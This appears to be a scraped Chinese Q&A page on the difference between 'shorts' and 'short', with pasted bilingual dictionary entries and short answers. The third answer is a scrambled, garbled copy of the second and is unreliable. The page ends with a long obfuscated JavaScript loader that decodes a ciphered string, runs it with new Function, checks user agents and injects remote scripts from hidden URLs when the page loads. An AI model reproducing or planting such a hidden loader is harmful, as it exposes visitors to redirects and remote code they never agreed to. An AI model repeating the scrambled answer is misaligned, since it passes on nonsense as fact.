shorts和short的区别

同上
2025-03-03 05:00:09
推荐回答(3个)
回答1:

shorts是短裤

short就不用我说了吧~~~~~~~~~~~~

shorts
/ ʃɔːts; ʃɔrts/ n [pl]
short trousers that do not reach the knee, eg as worn by children, or by adults playing sports or in hot weather 短裤: a pair of tennis shorts 一条网球短裤.
(US) men's underpants (男用)短内裤.

short1
/ ʃɔːt; ʃɔrt/ adj (-er, -est)
(a) measuring little from one end to the other (长度方面)短的: a short stick, line, dress, journey 短棒、 短线、 短连衣裙、 短途旅行 * short grass, fur 短的草、 毛皮 * a short distance between the two houses 两所房子间的短距离 * You've cut my hair very short. 你把我的头发剪得太短了. * She walked with short quick steps. 她以小而快的步子走路. * The coat is rather short in the sleeves. 这件大衣的袖子有点短. Cf 参看 long1 1. (b) below the average height 矮的; 低的: a short person 身材矮的人 * short in stature 身材矮小 * too short to become a police officer 因身材矮而不能当警察. Cf 参看 tall. (c) not lasting long; brief (时间方面)短的, 短暂的; 简短的: a short holiday, speech, film, ceremony 短暂的假期、 简短的发言、 短片、 简短的仪式 * have a short memory, ie remember only things that have happened recently 短暂的记忆(只能记住最近发生的事) * The days get shorter as winterapproaches. 冬天来临, 白天越来越短了. Cf 参看 long1 1.
~ (of sth) not reaching the usual standard or required weight, length, quantity, etc (在重量、 长度、 数量等方面)未达到通常标准的, 短缺的: Water is short at this time of year. 每年这个时候缺水. * The shopkeeper gave us short weight: we got 7.5 kilos instead of 10 kilos. 店主给我们的分量不足: 应该10公斤我们只得到7.5公斤. * The soldiers complained that they were getting short rations. 士兵们抱怨他们得到的配给不够数. * These goods are in short supply, ie There are not enough to satisfy the demand for them. 这些货物短缺(供不应求). * This packet is supposed to contain ten screws, but it's two short. 这包应装有十个螺丝钉, 可是短了两个. * The missile landed ten miles short (of its target). 那枚导弹落在离目标十英里的地方. * We've only raised 2000 so far; we're still 500 short (of the amount we need).我们到目前为止才筹集到2000英镑, (离所需数目)还差500英镑.
[pred 作表语] (a) ~ (of sth) not having much or enough of sth; lacking sth (某物)不够; 缺乏(某物): short of time, money, ideas 缺少时间、 钱、 主意 * The hospital is getting short of clean linen. 这所医院现在缺少乾净的被服用品. * We can't lend you any sugar, we're a bit short (of it) ourselves. 我们无法借给你糖, 我们自己(的糖)也不太够. * (infml 口) I'm a bit short (ie of money) this week. 我这星期手头不宽裕(缺钱). (b) ~ on sth (infml 口) lacking (a certain quality) 缺少(某种特质): He's short on tact. 他处事不够圆通. * Her speeches are rather short on wit. 她的讲话不够风趣.
[pred 作表语] ~ for sth serving as an abbreviation of sth 作某事物的简略形式、 缩写或简称: `Ben' is usually short for `Benjamin'. Ben通常为Benjamin的简称.
(a) [pred 作表语] ~ (with sb) (of a person) speaking sharply and briefly; curt; abrupt (指人)说话尖刻而简短, 简单粗暴, 唐突无礼: She was rather short with him when he asked for help. 他请她帮帮忙, 她却不客气地把他顶了回去. (b) (of a remark or sb's manner of speaking) expressed in few words; curt (指言语或说话方式)简短的, 唐突无礼的: He gave her a short answer. 他给了她一个简短生硬的回答. * All his observations were short and to the point. 他的观察报告都很简单扼要.
(a) (of a fielder or his position in cricket) relatively near the batsman (指板球运动的外场员或其位置)距击球员较近的: short leg, slip, etc 距击球员近的在其左侧的、 在其右后侧的...外场员. (b) (of a bowled ball in cricket) bouncing relatively near to the bowler (指板球中投出的球)反弹至较近投球手的位置.
(of vowels or syllables) pronounced for a relatively brief time (指元音或音节)短音的: the short vowel in `pull' and the long vowel in `pool' 在pull一字中的短元音和在pool一字中的长元音.
(of an alcoholic drink) small and strong, made with spirits (指烈性酒)少而浓的, 烈性的: I rarely have short drinks. 我很少喝烈性酒.
[usu attrib 通常作定语] (commerce 商) (of a bill of exchange, etc) maturing at an early date (指汇票等)短期的, 即将兑现的: a short bill, bond, etc 短期票据、 债券等 * a short date, ie an early date for the maturing of a bill, bond, etc 短期(兑现票据、 债券等的).
[usu attrib 通常作定语] (of cake or pastry) rich and crumbly as a result of containing much fat (指饼或面点心)油酥的: a flan with a short crust 果馅酥饼.
(idm 习语) be on short `rations be allowed or able to have less than the usual quantity of food 食物配给量不足; 靠不足的食物配给量生活. by a short `head (a) (in horse-racing) by a distance of less than the length of a horse's head (赛马)以不到一个马头的距离: win/lose by a short head 以不到一个马头的距离之差获胜[失败]. (b) by only a little 以极少的量: I got 96 per cent, he got 94, so I beat him by a short head. 我得96分, 他得94分, 我仅超过他一点. for `short as an abbreviation 简略形式; 缩写; 简称: Her name is `Frances', or `Fran' for short. 她叫‘弗朗西丝’或简称‘弗朗’. get/have sb by the short `hairs (infml 口) get/have sb in a difficult position or at one's mercy 使某人处境困难; 完全操纵某人. give full/short measure =>measure2. give sb/sth/get short `shrift/FrIft; FrIft/ give sb/sth/get curt treatment or attention怠慢某人[某事物]; 受冷遇: He went to complain to the boss, but got very short shrift: she told him to get out and stay out 他到老板那儿去投诉, 但老板态度冷淡: 她叫他出去上一边呆着去. in long/short pants =>pants. in the long/short term =>term. in `short in a few words; briefly 总之; 简言之: Things couldn't be worse, financially: in short, we're bankrupt. 在财务方面已经糟得不能再糟了: 总之一句话, 我们破产了. in short `order quickly and without fuss 迅速而直截了当地: When the children are naughty she deals with them in very short order: they're sent straight to bed. 孩子们一淘气她有个乾脆的办法: 马上打发他们上床睡觉. in short supply not plentiful; scarce 不充裕; 供应不足. little/nothing short of sth little/nothing less than sth; almost sth 不亚於某事物; 几乎就是: Our escape was little short of miraculous. 我们能够逃出来简直是奇迹. make short work of sth/sb deal with, or dispose of sth/sb quickly 迅速处理某事物或对付某人: make short work of one's meal 很快吃完饭 * The team made short work of their opponents. 这个队一下子就把对方压倒了. on a short `fuse likely to get angry quickly and easily 易怒的; 脾气暴躁的: Don't irritate her, she's on a short fuse today. 别惹她, 她今天动不动就发火. out of/short of breath =>breath. (on) short `commons (dated 旧) not having enough to eat 没有足够的食物吃. a short `cut (a) route that makes a journey, walk, etc shorter 近路; 捷径: I took a short cut across the field to get to school. 我穿过田野抄近路去上学. (b) way of doing sth more efficiently, quickly, etc 更快、 更有效等的办事方法: Becoming a doctor requires years of training -- there are really no short cuts. 当医生需要多年的学习和锻炼--实无捷径可言. ,short and `sweet (often ironic 常作反语) brief but pleasant 简短而愉快的: I only needed two minutes with the doctor the visit was short and sweet. 我找医生治病只用了两分钟--别管受罪不受罪, 反正时间短. thick as two short planks =>thick. > shortness n [U].
# `shortbread n [U] crumbly dry cake made with flour, sugar and much butter 油酥甜饼(由面粉、 糖、 黄油制成).
`shortcake n [U] (a) (Brit) = shortbread. (b) dessert made from a biscuit dough or sponge mixture with cream and fruit on top 油酥糕饼(在发酵面团上覆奶油、 水果做成的甜食): strawberry shortcake 草莓油酥糕饼.
,short-`change v [Tn] cheat (sb), esp by giving him less than the correct change2(4) (故意)少找给(某人)钱.
,short `circuit (also infml 口语作 short) (usu faulty) connection in an electric circuit, by which the current flows along a shorter route than the normal one 电路短路. ,short-`circuit (also infml 口语作 short) v
1 [I, Tn] (cause sth to) have a short circuit (使某用电器)短路: The lights short-circuited when I joined up the wires. 我一接上电线, 电灯就短路了. * You've short-circuited the washing-machine. 你把洗衣机弄短路了.
2 [Tn] (fig 比喻) avoid (sth); bypass 避开(某事物); 绕过: short-circuit the normal procedures to get sth done quickly 为尽快办成某事不循正常手续.
`shortcoming n (usu pl 通常作复数) failure to be of a required standard; fault 缺点; 缺陷: a system/person with many shortcomings 有许多缺点的体系[人].
`shortfall n ~ (in sth) deficit 赤字; 亏空: a shortfall in the annual budget 年度预算中的不足.
`shorthand (also esp US stenography) n [U] method of writing rapidly, using special quickly-written symbols 速记法: [attrib 作定语] a shorthand course, typist, letter 速记课程、 打字员、 信.
,short-`handed adj [usu pred 通常作表语] not having enough workers, helpers, etc 人手不足: The shop is short-handed, so we are all having to work harder. 店里人手不足, 所以我们都得勤奋些.
`shorthorn n breed of cattle with short curved horns 短角牛.
`short list small number, esp of candidates for a job, selected from a larger number, and from which the final selection is to be made 决选名单(从多数人中挑出的少数候选人, 以备从中选出所需的人, 尤指应徵职务者): draw up a short list 拟定一份决选名单 * Are you on the short list? 你在决选名单上吗? `short-list v [Tn, Tn.pr] ~ sb (for sth) put sb on a short list 将某人列入决选名单: Have you been short-listed for the post? 已经把你列入该工作的决选名单上了吗?
short-lived / ˏʃɔːtˈlɪvd; US ˈlaɪvd; ʃɔrtˋlaɪvd/ adj lasting for a short time; brief 短命的; 短暂的: a short-lived triumph, relationship 短暂的胜利、 关系 * Her interest in tennis was very short-lived. 她喜好网球只是昙花一现.
,short `odds (in betting) nearly even odds, indicating a horse, etc that is likely to win (赌博中)可能赢的机会几乎均等.
,short `order (US) order for food that can be cooked quickly (点叫)快餐: [attrib 作定语] a ,short-order `chef 专做快餐的厨师.
,short-`range adj [usu attrib 通常作定语] 1 designed for or applying to a limited period of time 短期间的: a,short-range `plan, `project, etc 短期计画、 项目等 *,short-range `weather forecasts, ie for one or two days ahead 短期天气预报. 2 (of missiles, etc) designed to travel over relatively short distances (指导弹等)短程的, 近程的. ,short `sight ability to see clearly only what is close 近视. ,short-`sighted adj
1 suffering from short sight 近视的.
2 (fig 比喻) having or showing an inability to foresee what will happen 目光短浅的; 无远见的: a short-sighted person, attitude, plan 目光短浅的人、 看法、 计画.
,short-`staffed adj [usu pred 通常作表语] not having enough staff; understaffed 人员不足: We're very short-staffed in the office this week. 本星期我们办公室人手不够.
,short `story piece of prose fiction that is shorter than a novel, esp one that deals with a single event or theme 短篇小说.
,short `temper tendency to become angry quickly and easily 易怒; 脾气暴躁: He has a very short temper. 他脾气很暴躁.
,short-`tempered adj: Being tired often makes me short-tempered. 我一累就容易发脾气.
,short-`term adj [usu attrib 通常作定语] of or for a short period 短期的: a ,short-term `plan, `loan, a`greement, ap`pointment 短期计画、 贷款、 协议、 任命.
,short `time employment for less than the full working week 短工时雇用工作(每周开工不足者): workers on short time 短工时雇用的工人 * [attrib 作定语] ,short-time `working 短工时的工作.
,short `wave (abbr 缩写 SW) radio wave with a length between 100 and 10 metres 短波(波长在100米与10米之间的无线电波): [attrib 作定语] a ,short-wave `radio, `broadcast, etc 短波收音机、 广播等.
,short-`winded adj easily getting breathless after exerting oneself, running, etc (用力、 跑步等后就)容易气喘的.
short2
/ ʃɔːt; ʃɔrt/ adv
suddenly; abruptly 突然; 唐突地: He stopped short when he heard his name called. 他听到有人叫他, 就突然停了下来.
(idm 习语) be caught/taken `short (infml 口) suddenly feel the needto go to the lavatory urgently 突然感到要去厕所. bring/pull sb up short/sharply =>pull2. cut a long story short =>long1. cut sth/sb `short bring sth/sb to an end before the usual or natural time; interrupt sth/sb 结束或中断某事物: a career tragically cut short by illness 因疾病而不幸中断的事业 * The interviewer cut short his guest in mid-sentence. 采访的人没等客人把那句话说完就打断了他的话. fall short of sth not reach sth 未达到(某目的): The money collected fell short of the amount required. 筹集的资金没达到所需的数额. * His achievements had fallen short of his hopes. 他的成就没有达到他期望的那麽大. go short (of sth) not have enough (of sth) 缺少(某物); 欠缺: If you earn well, you'll never go short. 钱挣多了就什麽都不缺了. * The children must not go short of food. 儿童不可缺少食物. run short (of sth) use up most of one's supply (of sth) 已快用完(某物): Go and get some more oil so we don't run short. 去多弄些油来以免到时候用光了. * I'm late for work every day, and I'm running short of excuses. 我每天迟到, 现在找不到什麽藉口了. sell sth/sb short =>sell. short of sth without sth; unless sth happens 没有(某事物); 除非(发生某事): Short of a miracle, we're certain to lose now. 除非出现奇迹, 不然我们现在是输定了. stop short of sth/doing sth =>stop1.
short3
/ ʃɔːt; ʃɔrt/ n (infml 口)
= short circuit (short1).
short film, esp one shown before the main film at a cinema 短片(尤指正片之前放映的).
(esp pl 尤作复数) small strong alcoholic drink, esp of spirits 少量烈性酒精饮料; (尤指)烈酒.
(idm 习语) the long and short of it =>long2. > short v [I, Tn] (infml 口) = short-circuit (short1).

回答2:

shorts只是短裤,只能做名词

short做名词时有短裤的意思,可做形容词,它还可以做副词
short
n.
简略, 短路, 短裤
adj.
短的, 矮的, 不足的, 不够的, (智力等)弱的, 浅薄的, 松脆的, 简短
adv.
突然, 缺乏, 不足

回答3:

短的,可做形容词,
短路,
松脆的,它还可以做副词
short
n.
突然,
不够的,
矮的,
简短
adv.
简略,
不足的,
浅薄的,
缺乏,
短裤
adj,只能做名词
short做名词时有短裤的意思shorts只是短裤,
(智力等)弱的

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();